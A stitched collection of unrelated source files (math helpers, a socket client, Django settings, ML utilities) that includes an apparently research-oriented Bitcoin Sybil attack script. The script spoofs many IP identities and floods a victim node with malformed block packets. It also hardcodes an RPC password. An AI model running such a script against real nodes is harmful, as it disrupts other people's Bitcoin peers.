const_coefficient == 0: return 0 lead_coefficient = polynomial.coefficients[polynomial.degree()] assert lead_coefficient == 1 nm1_coefficient = abs(polynomial.coefficients[polynomial.degree() - 1]) total = 1 i = 0 for coeff in polynomial.coefficients: if i < polynomial.degree() - 1: total += abs(coeff) i = i + 1 if nm1_coefficient > total: return 1 return 2 # Quellen: https://www.uni-frankfurt.de/81429607/Stix_Algebra_SkriptWS2016_17.pdf # http://math-www.uni-paderborn.de/~chris/Index33/V/par5.pdf def is_irreducible_eisenstein(polynomial): """ Eine Implementierung des Eisensteinkriteriums. """ # Polynom muss einen Grad m >= 1 haben if polynomial.degree() < 1: return 2 # Voraussetzung für Eisenstein sind teilerfremde Koeffizienten if helper.is_polynomial_coprime(polynomial is False): return 2 # Prüfe, ob es eine Primzahl gibt, die alle Koeffizienten des Polynoms bis Grad m - 1 teilt. p^2 darf a0 nicht teilen const_coeff = polynomial.coefficients[0] if const_coeff == 0: return 0 # Erhalte Primfaktorzerlegung der Konstante, um Grundlage von Primzahlen zu erhalten prime_factors = helper.prime_factor(const_coeff) for p in prime_factors: if ( const_coeff % pow(p, 2) != 0 ): # teilt p^2 den konstanten Koeffizienten, dann kann keine Aussage getroffen werden return 2 for coeff in polynomial.coefficients[0 : polynomial.degree() - 1]: if coeff % p != 0: return 2 # teilt die Primzahl den Koeffizienten nicht, kann keine Aussage getroffen werden return 1

4c353955c991e91d2a8ac820fc6be7fa23bb7348

py

Python

tools/client.py

Alisa1114/yolov4-pytorch-1

5dd8768f2eef868c9ee4588818350d4e1b50b98f

tools/client.py

Alisa1114/yolov4-pytorch-1

5dd8768f2eef868c9ee4588818350d4e1b50b98f

tools/client.py

Alisa1114/yolov4-pytorch-1

5dd8768f2eef868c9ee4588818350d4e1b50b98f

# -*- coding: UTF-8 -*- from socket import * def client(): #實驗室電腦 # serverip='120.126.151.182' # serverport=8887 #在自己電腦測試 serverip='127.0.0.1' serverport=8888 client=socket(AF_INET,SOCK_STREAM) client.connect((serverip,serverport)) address_file = open('tools/address.txt', 'r') address = address_file.read() client.send(address.encode()) print(client.recv(1024).decode()) if __name__=='__main__': client() # buffer='POST /post HTTP/1.1\r\n' # buffer+='Content-Type:application/json\r\n' # buffer+='Body:{\\"StuId\\":\\"410785016 Chao,He-Teng\\"}\r\n' # buffer+='Address : ' + address + '\r\n' # buffer+='\r\n' # print(buffer) # message = "國立台北大學世界第一:)"

4c3723af9b53c7e19a14d4d5a300a57c775f6c8c

py

Python

setup.py

Lif3line/myo-helper

7c71a3ee693661ddba0171545bf5798f46231b3c

setup.py

Lif3line/myo-helper

7c71a3ee693661ddba0171545bf5798f46231b3c

setup.py

Lif3line/myo-helper

7c71a3ee693661ddba0171545bf5798f46231b3c

"""Utiltiy functions for working with Myo Armband data.""" from setuptools import setup, find_packages setup(name='myo_helper', version='0.1', description='Utiltiy functions for working with Myo Armband data', author='Lif3line', author_email='adamhartwell2@gmail.com', license='MIT', packages=find_packages(), url='https://github.com/Lif3line/myo_helper', # use the URL to the github repo install_requires=[ 'scipy', 'sklearn', 'numpy' ], keywords='myo emg')

4c3ccdaafeb79fdce0197fde1a5c4f83054573ab

py

Python

a2t/src/a2t.py

syeda-khurrath/fabric8-analytics-common

421f7e27869c5695ed73b51e6422e097aba00108

a2t/src/a2t.py

syeda-khurrath/fabric8-analytics-common

421f7e27869c5695ed73b51e6422e097aba00108

2019-05-20T08:27:47.000Z

2019-05-20T08:29:57.000Z

a2t/src/a2t.py

codeready-analytics/fabric8-analytics-common

a763c5534d601f2f40a0f02c02914c49ea23669d

2020-10-05T21:12:44.000Z

2020-10-05T21:12:44.000Z

"""The main module of the Analytics API Load Tests tool. Copyright (c) 2019 Red Hat Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ import sys import os from time import time from fastlog import log from csv_reader import read_csv_as_dicts from setup import setup from cliargs import cli_parser from component_analysis import ComponentAnalysis from stack_analysis import StackAnalysis from test_runner import start_tests # current version of this tool VERSION_MAJOR = 1 VERSION_MINOR = 0 def check_api_endpoint(api): """Check that some API endpoint is callable.""" log.info("Checking: core API endpoint") with log.indent(): if not api.is_api_running(): log.error("Fatal: tested system is not available") sys.exit(1) else: log.success("ok") def check_auth_token(api): """Check the authorization token for the core API.""" log.info("Checking: authorization token for the core API") with log.indent(): if api.check_auth_token_validity(): log.success("ok") else: log.error("Fatal: wrong token(?)") sys.exit(1) def check_system(api): """Check if all system endpoints are available and that tokens are valid.""" # try to access system endpoints log.info("System check") with log.indent(): check_api_endpoint(api) check_auth_token(api) def show_version(): """Show A2T version.""" print("A2T version {major}.{minor}".format(major=VERSION_MAJOR, minor=VERSION_MINOR)) def main(): """Entry point to the Analytics API Load Tests.""" log.setLevel(log.INFO) cli_arguments = cli_parser.parse_args() if cli_arguments.version: show_version() sys.exit(0) else: cfg = setup(cli_arguments) coreapi_url = os.environ.get('F8A_SERVER_API_URL', None) component_analysis = ComponentAnalysis(coreapi_url, cfg["access_token"], cfg["user_key"], True) stack_analysis = StackAnalysis(coreapi_url, cfg["access_token"], cfg["user_key"], True) check_system(component_analysis) try: tests = read_csv_as_dicts(cfg["input_file"]) except Exception as e: log.error("Test description can not be read") log.error(e) sys.exit(0) t1 = time() tags = cfg["tags"] start_tests(cfg, tests, tags, component_analysis, stack_analysis) t2 = time() log.info("Start time: {}".format(t1)) log.info("End time: {}".format(t2)) log.info("Duration: {}".format(t2 - t1)) if __name__ == "__main__": # execute only if run as a script main()

4c5bad7796ac5e7201e5d6fb5312abee3b503a5c

py

Python

tools/Networking/sybil_block_no_ban.py

simewu/bitcoin_researcher

b9fd2efdb8ae8467c5bd4b3320713a541635df16

2020-02-15T21:44:04.000Z

2020-02-15T21:44:04.000Z

tools/Networking/sybil_block_no_ban.py

SimeoW/bitcoin

3644405f06c8b16a437513e8c02f0f061b91be2e

tools/Networking/sybil_block_no_ban.py

SimeoW/bitcoin

3644405f06c8b16a437513e8c02f0f061b91be2e

from _thread import start_new_thread from bitcoin.messages import * from bitcoin.net import CAddress from bitcoin.core import CBlock from io import BytesIO as _BytesIO import atexit import bitcoin import fcntl import hashlib import json import os import random import re import socket import struct import sys import time import datetime if os.geteuid() != 0: sys.exit("\nYou need to have root privileges to run this script.\nPlease try again, this time using 'sudo'. Exiting.\n") # Specify the attacker's genuine IP attacker_ip = input('\nEnter attacker\'s IP address: ') # Specify the victim's IP, and port (8333 for Bitcoin) victim_ip = input('Enter victim\'s IP address: ') victim_port = 8333 # How many identities should run simultaneously num_identities = 8 # While attacking the victim, wait this many seconds before sending each version message seconds_between_version_packets = 0.1 identity_interface = [] # Keeps the IP alias interface and IP for each successful connection identity_address = [] # Keeps the IP and port for each successful connection identity_socket = [] # Keeps the socket for each successful connection # The file where the iptables backup is saved, then restored when the script ends iptables_file_path = f'{os.path.abspath(os.getcwd())}/backup.iptables.rules' # Send commands to the Linux terminal def terminal(cmd): return os.popen(cmd).read() # Send commands to the Bitcoin Core Console def bitcoin(cmd): return os.popen('./../../src/bitcoin-cli -rpcuser=cybersec -rpcpassword=kZIdeN4HjZ3fp9Lge4iezt0eJrbjSi8kuSuOHeUkEUbQVdf09JZXAAGwF3R5R2qQkPgoLloW91yTFuufo7CYxM2VPT7A5lYeTrodcLWWzMMwIrOKu7ZNiwkrKOQ95KGW8kIuL1slRVFXoFpGsXXTIA55V3iUYLckn8rj8MZHBpmdGQjLxakotkj83ZlSRx1aOJ4BFxdvDNz0WHk1i2OPgXL4nsd56Ph991eKNbXVJHtzqCXUbtDELVf4shFJXame -rpcport=8332 ' + cmd).read() # Generate a random identity using the broadcast address template def random_ip(): # By forcing the IP to be above a certain threshhold, it prevents a lot of errors minimum_ip_range = min(int(attacker_ip.split('.')[-1]), int(victim_ip.split('.')[-1])) + 1 while(True): ip = broadcast_address old_ip = '' while(old_ip != ip): old_ip = ip ip = ip.replace('255', str(random.randint(minimum_ip_range, 255)), 1) # Don't accept already assigned IPs if ip == default_gateway: continue if ip == victim_ip: continue if ip not in [x[0] for x in identity_address]: break return ip #return f'10.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}' # Checking the internet by sending a single ping to Google #def internet_is_active(): # return os.system('ping -c 1 google.com') == 0 # If all else fails, we can use this to recover the network #def reset_network(): # print('Resetting network...') # terminal(f'sudo ifconfig {network_interface} {attacker_ip} down') # terminal(f'sudo ifconfig {network_interface} {attacker_ip} up') # Create an alias for a specified identity def ip_alias(ip_address): global alias_num print(f'Setting up IP alias {ip_address} on {network_interface}') interface = f'{network_interface}:{alias_num}' terminal(f'sudo ifconfig {interface} {ip_address} netmask 255.255.255.0 broadcast {broadcast_address} up') alias_num += 1 return interface # Construct a block packet using python-bitcoinlib def block_packet_bytes(): hashPrevBlock = bytearray(random.getrandbits(8) for _ in range(32)) hashMerkleRoot = bytearray(random.getrandbits(8) for _ in range(32)) nTime = int((datetime.datetime.now() - datetime.datetime(1970, 1, 1)).total_seconds())#.to_bytes(8, 'little') nNonce = random.getrandbits(32) msg = CBlock( nVersion=bitcoin_protocolversion, hashPrevBlock=hashPrevBlock, #hashPrevBlock='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', hashMerkleRoot=hashMerkleRoot, #hashMerkleRoot='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', nTime=nTime, nBits=0, nNonce=nNonce, vtx=() ) name = 'block' f = _BytesIO() msg.stream_serialize(f) body = f.getvalue() res = b'\xf9\xbe\xb4\xd9' res += name.encode() res += b"\x00" * (12 - len(name)) res += struct.pack(b"<I", len(body)) #th = hashlib.sha256(body).digest() # add checksum #h = hashlib.sha256(th).digest() #res += h[:4] res += bytearray(random.getrandbits(8) for _ in range(4)) res += body return res # Construct a version packet using python-bitcoinlib def version_packet(src_ip, dst_ip, src_port, dst_port): msg = msg_version(bitcoin_protocolversion) msg.nVersion = bitcoin_protocolversion msg.addrFrom.ip = src_ip msg.addrFrom.port = src_port msg.addrTo.ip = dst_ip msg.addrTo.port = dst_port # Default is /python-bitcoinlib:0.11.0/ msg.strSubVer = bitcoin_subversion.encode() # Look like a normal node return msg # Close a connection def close_connection(socket, ip, port, interface): socket.close() terminal(f'sudo ifconfig {interface} {ip} down') if socket in identity_socket: identity_socket.remove(socket) else: del socket if interface in identity_interface: identity_interface.remove(interface) if (ip, port) in identity_address: identity_address.remove((ip, port)) print(f'Successfully closed connection to ({ip} : {port})') # Creates a fake connection to the victim def make_fake_connection(src_ip, dst_ip, verbose=True): src_port = random.randint(1024, 65535) dst_port = victim_port print(f'Creating fake identity ({src_ip} : {src_port}) to connect to ({dst_ip} : {dst_port})...') interface = ip_alias(src_ip) identity_interface.append(interface) if verbose: print(f'Successfully set up IP alias on interface {interface}') if verbose: print('Resulting ifconfig interface:') if verbose: print(terminal(f'ifconfig {interface}').rstrip() + '\n') if verbose: print('Setting up iptables configurations') terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL RST,ACK -j DROP') terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN,ACK -j DROP') terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL FIN -j DROP') terminal(f'sudo iptables -I OUTPUT -o {interface} -p tcp --tcp-flags ALL RST -j DROP') if verbose: print('Creating network socket...') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if verbose: print(f'Setting socket network interface to "{network_interface}"...') success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\0').encode('utf-8')) while success == -1: print(f'Setting socket network interface to "{network_interface}"...') success = s.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, str(network_interface + '\0').encode('utf-8')) time.sleep(1) print(network_interface) if verbose: print(f'Binding socket to ({src_ip} : {src_port})...') s.bind((src_ip, src_port)) if verbose: print(f'Connecting ({src_ip} : {src_port}) to ({dst_ip} : {dst_port})...') try: s.connect((dst_ip, dst_port)) except: close_connection(s, src_ip, src_port, interface) make_fake_connection(random_ip(), dst_ip, False) return # Send version packet version = version_packet(src_ip, dst_ip, src_port, dst_port) s.send(version.to_bytes()) # Get verack packet verack = s.recv(1924) # Send verack packet verack = msg_verack(bitcoin_protocolversion) s.send(verack.to_bytes()) # Get verack packet verack = s.recv(1024) if verbose: print('Connection successful!') identity_address.append((src_ip, src_port)) identity_socket.append(s) # Listen to the connections for future packets if verbose: print('Attaching attacker script {interface}') try: start_new_thread(attack, (), { 'socket': s, 'src_ip': src_ip, 'src_port': src_port, 'dst_ip': dst_ip, 'dst_port': dst_port, 'interface': interface }) except: print('Error: unable to start thread to sniff interface {interface}') # Send version repeatedly, until banned def attack(socket, src_ip, src_port, dst_ip, dst_port, interface): block = block_packet_bytes() while True: if seconds_between_version_packets != 0: time.sleep(seconds_between_version_packets) try: socket.send(block) except Exception as e: print(e) break close_connection(socket, src_ip, src_port, interface) print(f'Peer was banned ({src_ip} : {src_port})') make_fake_connection(random_ip(), dst_ip, False) # Initialize the network def initialize_network_info(): print('Retrieving network info...') global default_gateway, network_interface, broadcast_address # Get the network interface of the default gateway m = re.search(r'default +via +([^ ]+) +dev +([^ ]+)', terminal('ip route')) if m != None: default_gateway = m.group(1).strip() network_interface = m.group(2).strip() else: print('Error: Network interface couldn\'t be found.') sys.exit() # Get the broadcast address of the network interface # Used as an IP template of what can change, so that packets still come back to the sender m = re.search(r'broadcast ([^ ]+)', terminal(f'ifconfig {network_interface}')) if m != None: broadcast_address = m.group(1).strip() else: print('Error: Network broadcast IP couldn\'t be found.') sys.exit() # Initialize Bitcoin info def initialize_bitcoin_info(): print('Retrieving bitcoin info...') global bitcoin_subversion global bitcoin_protocolversion bitcoin_subversion = '/Satoshi:0.18.0/' bitcoin_protocolversion = 70015 try: network_info = None #json.loads(bitcoin('getnetworkinfo')) if 'subversion' in network_info: bitcoin_subversion = network_info['subversion'] if 'protocolversion' in network_info: bitcoin_protocolversion = network_info['protocolversion'] except: pass # Save a backyp of the iptable rules def backup_iptables(): terminal(f'iptables-save > {iptables_file_path}') # Restore the backup of the iptable rules def cleanup_iptables(): if(os.path.exists(iptables_file_path)): print('Cleaning up iptables configuration') terminal(f'iptables-restore < {iptables_file_path}') os.remove(iptables_file_path) # Remove all ip aliases that were created by the script def cleanup_ipaliases(): for i in range(0, len(identity_address)): try: ip = identity_address[i][0] interface = identity_interface[i] print(f'Cleaning up IP alias {ip} on {interface}') terminal(f'sudo ifconfig {interface} {ip} down') except: pass # This function is ran when the script is stopped def on_close(): print('Closing open sockets') for socket in identity_socket: socket.close() cleanup_ipaliases() cleanup_iptables() print('Cleanup complete. Goodbye.') #print('Verifying that internet works...') #if not internet_is_active(): # reset_network() # This is the first code to run if __name__ == '__main__': global alias_num alias_num = 0 # Increments each alias initialize_network_info() initialize_bitcoin_info() atexit.register(on_close) # Make on_close() run when the script terminates cleanup_iptables() # Restore any pre-existing iptables before backing up, just in case if the computer shutdown without restoring backup_iptables() # Create the connections for i in range(1, num_identities + 1): try: make_fake_connection(src_ip = random_ip(), dst_ip = victim_ip) except ConnectionRefusedError: print('Connection was refused. The victim\'s node must not be running.') print(f'Successful connections: {len(identity_address)}\n') # Prevent the script from terminating when the sniff function is still active while 1: time.sleep(60)

4c6289a028d756ccd03ac220d11a9d33117ee573

py

Python

djcorsche/settings_default.py

carthage-college/django-djcorsche

c43db6e634f5b3fc9c8b0cff80ced8382ca6643c

djcorsche/settings_default.py

carthage-college/django-djcorsche

c43db6e634f5b3fc9c8b0cff80ced8382ca6643c

djcorsche/settings_default.py

carthage-college/django-djcorsche

c43db6e634f5b3fc9c8b0cff80ced8382ca6643c

""" Django settings for project. """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os # Debug #DEBUG = False DEBUG = True TEMPLATE_DEBUG = DEBUG INFORMIX_DEBUG = "debug" ADMINS = ( ('', ''), ) MANAGERS = ADMINS SECRET_KEY = '' ALLOWED_HOSTS = [] LANGUAGE_CODE = 'en-us' TIME_ZONE = 'America/Chicago' SITE_ID = 1 USE_I18N = False USE_L10N = False USE_TZ = False DEFAULT_CHARSET = 'utf-8' FILE_CHARSET = 'utf-8' SERVER_URL = "" API_URL = "%s/%s" % (SERVER_URL, "api") LIVEWHALE_API_URL = "https://%s" % (SERVER_URL) BASE_DIR = os.path.dirname(os.path.dirname(__file__)) ROOT_DIR = os.path.dirname(__file__) ROOT_URL = "/djskeletor/" ROOT_URLCONF = 'djskeletor.core.urls' WSGI_APPLICATION = 'djskeletor.wsgi.application' MEDIA_ROOT = '' ADMIN_MEDIA_PREFIX = '/static/admin/' STATIC_ROOT = '' STATIC_URL = "/static/" STATICFILES_DIRS = () STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder', ) DATABASES = { 'default': { 'HOST': '127.0.0.1', 'PORT': '3306', 'NAME': 'django_djskeletor', 'ENGINE': 'django.db.backends.mysql', #'ENGINE': 'django.db.backends.dummy', 'USER': '', 'PASSWORD': '' }, } INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.formtools', 'django.contrib.humanize', 'django.contrib.messages', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.staticfiles', 'djskeletor', 'djskeletor.core', 'djskeletor.myapp', 'djtools', ) MIDDLEWARE_CLASSES = ( 'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # the following should be uncommented unless you are # embedding your apps in iframes #'django.middleware.clickjacking.XFrameOptionsMiddleware', ) # template stuff TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) TEMPLATE_DIRS = ( "/data2/django_projects/djskeletor/templates/", "/data2/django_templates/djkorra/", "/data2/django_templates/djcher/", "/data2/django_templates/", ) TEMPLATE_CONTEXT_PROCESSORS = ( "djtools.context_processors.sitevars", "django.contrib.auth.context_processors.auth", "django.core.context_processors.request", "django.core.context_processors.debug", "django.core.context_processors.media", ) # caching CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.dummy.DummyCache', #'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', #'LOCATION': '127.0.0.1:11211', #'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', #'LOCATION': '/var/tmp/django_djskeletor_cache', #'TIMEOUT': 60*20, #'KEY_PREFIX': "DJSKELETOR_", #'OPTIONS': { # 'MAX_ENTRIES': 80000, #} } } CACHE_MIDDLEWARE_ANONYMOUS_ONLY = True # LDAP Constants LDAP_SERVER = '' LDAP_SERVER_PWM = '' LDAP_PORT = '' LDAP_PORT_PWM = '' LDAP_PROTOCOL = "" LDAP_PROTOCOL_PWM = "" LDAP_BASE = "" LDAP_USER = "" LDAP_PASS = "" LDAP_EMAIL_DOMAIN = "" LDAP_OBJECT_CLASS = "" LDAP_OBJECT_CLASS_LIST = [] LDAP_GROUPS = {} LDAP_RETURN = [] LDAP_RETURN_PWM = [] LDAP_ID_ATTR = "" LDAP_CHALLENGE_ATTR = "" # auth backends AUTHENTICATION_BACKENDS = ( 'djauth.ldapBackend.LDAPBackend', 'django.contrib.auth.backends.ModelBackend', ) LOGIN_URL = '/djskeletor/accounts/login/' LOGIN_REDIRECT_URL = '/djskeletor/' USE_X_FORWARDED_HOST = True #SESSION_ENGINE = "django.contrib.sessions.backends.cache" SESSION_EXPIRE_AT_BROWSER_CLOSE = False SESSION_COOKIE_DOMAIN=".carthage.edu" SESSION_COOKIE_NAME ='django_djskeletor_cookie' SESSION_COOKIE_AGE = 86400 # SMTP settings EMAIL_HOST = '' EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD = '' EMAIL_USE_TLS = True EMAIL_PORT = 587 EMAIL_FAIL_SILENTLY = False DEFAULT_FROM_EMAIL = '' SERVER_EMAIL = '' SERVER_MAIL='' # logging LOG_FILEPATH = os.path.join(os.path.dirname(__file__), "logs/") LOG_FILENAME = LOG_FILEPATH + "debug.log" LOGGING = { 'version': 1, 'disable_existing_loggers': True, 'formatters': { 'standard': { 'format' : "[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s", 'datefmt' : "%Y/%b/%d %H:%M:%S" }, 'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s', 'datefmt' : "%Y/%b/%d %H:%M:%S" }, 'simple': { 'format': '%(levelname)s %(message)s' }, }, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } }, 'handlers': { 'null': { 'level':'DEBUG', 'class':'django.utils.log.NullHandler', }, 'logfile': { 'level':'DEBUG', 'class':'logging.handlers.RotatingFileHandler', 'filename': LOG_FILENAME, 'maxBytes': 50000, 'backupCount': 2, 'formatter': 'standard', }, 'console':{ 'level':'INFO', 'class':'logging.StreamHandler', 'formatter': 'standard' }, 'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'include_html': True, 'class': 'django.utils.log.AdminEmailHandler' } }, 'loggers': { 'djskeletor': { 'handlers':['logfile'], 'propagate': True, 'level':'DEBUG', }, 'django': { 'handlers':['console'], 'propagate': True, 'level':'WARN', }, 'django.db.backends': { 'handlers': ['console'], 'level': 'DEBUG', 'propagate': False, }, 'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True, }, } }

4c64de6df990440fb9bf292eb702bdb614dfcfae

py

Python

utils.py

atward424/ASCVD_ML

39404dd5f50a527576b91e8f53f5157f76382712

2021-04-08T07:05:18.000Z

2021-04-08T07:05:18.000Z

utils.py

atward424/ASCVD_ML

39404dd5f50a527576b91e8f53f5157f76382712

utils.py

atward424/ASCVD_ML

39404dd5f50a527576b91e8f53f5157f76382712

2021-04-08T07:07:53.000Z

2021-04-08T07:07:53.000Z

import numpy as np import pandas as pd import scipy.stats as st #from medical_ML import Experiment import matplotlib.pyplot as plt import xgboost as xgb from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier from sklearn.dummy import DummyClassifier from sklearn.tree import DecisionTreeClassifier from sklearn.linear_model import LogisticRegression, Lasso from sklearn.neighbors import KNeighborsClassifier from sklearn.svm import SVC from sklearn import linear_model from sklearn.ensemble import RandomForestRegressor, GradientBoostingRegressor from sklearn.dummy import DummyRegressor def split_cohort(datafile, to_exclude = None, test_ind_col = None, drop = 'some'): """ Load and clean the dataset """ if isinstance(datafile, str): data = pd.read_csv(datafile) else: data = datafile test_data = None if to_exclude is not None: for k in to_exclude.keys(): if k == 'race': data = data[data[k].isin(to_exclude[k])] elif k == 'agebl': data = data[data[k] >= to_exclude[k]] elif to_exclude[k]: data = data[data[k] == 0] if drop == 'some': data = data.drop(k, axis = 1) if drop == 'all': if (k != 'race') & (k != 'agebl'): data = data.drop(k, axis = 1) # self.data = self.data[self.data['year'] <= 2010] # self.data = self.data.drop(['year'], axis = 1) if test_ind_col is not None: test_data = data[data[test_ind_col] == 1] test_data = test_data.drop(test_ind_col, axis = 1) data = data[data[test_ind_col] == 0] data = data.drop(test_ind_col, axis = 1) return(data, test_data) def calc_auc_conf_interval(AUC, N1, N2, ci = 0.95): # from https://ncss-wpengine.netdna-ssl.com/wp-content/themes/ncss/pdf/Procedures/PASS/Confidence_Intervals_for_the_Area_Under_an_ROC_Curve.pdf zsc = st.norm.ppf(1 - (1-ci)/2.) q1 = AUC / (2 - AUC) q2 = (2 * AUC * AUC) / (1 + AUC) numerator = AUC * (1 - AUC) + (N1 - 1) * (q1 - AUC * AUC) + (N2 - 1) * (q2 - AUC * AUC) denom = N1 * N2 se_AUC = np.sqrt(numerator / denom) return (se_AUC, AUC - zsc * se_AUC, AUC, AUC + zsc * se_AUC) def load_models_and_parameters_default(): models_and_parameters = { 'dummy_reg': (DummyRegressor(), {"strategy": ["mean"]}), 'lasso_reg': (linear_model.Lasso(), {'alpha': np.arange(0.1, 1.0, 0.01), 'max_iter': [10000]}), 'rf_reg': (RandomForestRegressor(), {'n_estimators': [501], 'criterion': ['mae'], 'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'gbm_reg': (GradientBoostingRegressor(), {'n_estimators': [501], 'criterion': ['mae'], # 'loss': ['ls', 'lad'], 'max_depth': [3, 5, 10], 'max_features': ['auto', 'sqrt', 'log2']}), 'dummy': (DummyClassifier(), {"strategy": ["most_frequent"]}), # 'logreg': (LogisticRegression(), # {"class_weight": [None], # "C":[0.1, 0.3, 1,5, 10]}), #, "balanced" # 'logreg': (LogisticRegression(), # {"class_weight": [None], # "C":[0.01,0.1, 1]}), #, "balanced" # "C":[0.1]}), #, "balanced" 'logreg': (LogisticRegression(), {}), #, "balanced" # "C":[0.1]}), #, "balanced" 'lasso': (Lasso(), {"alpha": [0.0001, 0.001],#np.arange(0.01, 1.01, 0.05), 'max_iter': [10000]}), # 'lasso2': (LogisticRegression(penalty = 'l1'), # {"C":[0.001, 0.01,0.1, 1]}), 'lasso2': (LogisticRegression(penalty = 'l1',solver ='saga'), {}), 'elnet': (LogisticRegression(penalty = 'elasticnet', solver = 'saga'), {"C":[0.001, 0.01,0.1, 1], "l1_ratio":[0.01, 0.1, 0.5, 0.9, 0.99]}), 'dt': (DecisionTreeClassifier(), {"criterion": ["entropy"], # "max_depth": [2, 3, 4, 5, 10, 20], # None "max_depth": [1, 2, 3, 4], # None "splitter": ["best", "random"], "min_samples_split": [2, 5, 10], "min_samples_leaf": [3, 5, 10, 15, 20], "random_state": [817263]}), 'svm': (SVC(), {'C': [ 1], 'kernel': ['linear']}), #'poly', 'rbf' 'knn': (KNeighborsClassifier(), {'n_neighbors': [2, 3, 5, 10, 20, 50], 'weights': ['uniform', 'distance']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [3, 5, 10], # 'max_features': ['auto', 'sqrt', 'log2']}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [50, 100, 501, 1000], # 'max_depth': [3,5,7], # "min_samples_split": [2, 5], # 'max_features': ['auto', 0.5], # "class_weight": [None, "balanced"]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [501], # 'max_depth': [5], # "min_samples_split": [5], # 'max_features': ['auto'], # "class_weight": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [ 501, 1000, 2000, 4000], # 'max_depth': [5, 7, 9, 11, 13], # "min_samples_split": [2], # 'max_features': ['sqrt', 0.25, 0.5, 0.75, 1.0], # "class_weight": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [200, 500, 1000], # 'max_depth': [4, 6, 8, 10], # "min_samples_split": [2, 10], # 'max_features': [0.25, 0.5], # "class_weight": [None]}), 'rf': (RandomForestClassifier(), {'n_estimators': [800], 'max_depth': [8], "min_samples_split": [10], 'max_features': [0.25], "class_weight": [None]}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [400, 500, 600], # 'max_depth': [7,8,9], # "min_samples_split": [5,10], # 'max_features': [0.25, 0.5, ]}), # 'rf': (RandomForestClassifier(), # {}), 'xgb': (xgb.XGBClassifier(), {}), # 'rf': (RandomForestClassifier(), # {'n_estimators': [600], # 'max_depth': [9], # "min_samples_split": [10], # 'max_features': [0.25]}), # # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [100,500], # 'max_depth': [3,4,5], # 'learning_rate': [0.1, 0.3], # "reg_alpha": [0, 1], # "reg_lambda": [0.1, 1]}), # 'xgb': (xgb.XGBClassifier(), # {'n_estimators': [500], # 'max_depth': [4], # 'learning_rate': [0.1], # "reg_alpha": [0, 10], # "reg_lambda": [0.1, 10]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [200, 300], # 'learning_rate': [0.01], # 'max_depth': [3,4,5], # 'subsample': [0.35, 0.7], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400], # 'learning_rate': [0.01], # 'max_depth': [5], # 'subsample': [0.75], # 'max_features': [0.25]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [300, 400, 500], # 'learning_rate': [0.01, 0.003, 0.4], # 'max_depth': [5, 6, 7], # 'subsample': [0.85, 1], # 'max_features': [0.25, 0.5]}), 'gbm': (GradientBoostingClassifier(), {}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 300, 500, 1000, 2000, # 4000], # 'max_depth': [2, 3, 4, 5, 6, 7, # 9], # 'subsample': [0.75, # 1], # 'max_features': ['sqrt', 'log2', 0.25, 0.5, 0.75, # 1.0]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [100, 200, 400, 800], # 'learning_rate': [0.03, 0.01, 0.001], # 'max_depth': [4,5,6,8], # 'subsample': [0.85], # 'max_features': [0.25, 0.5]}), # 'gbm': (GradientBoostingClassifier(), # {'n_estimators': [400, 600], # 'learning_rate': [0.01], # 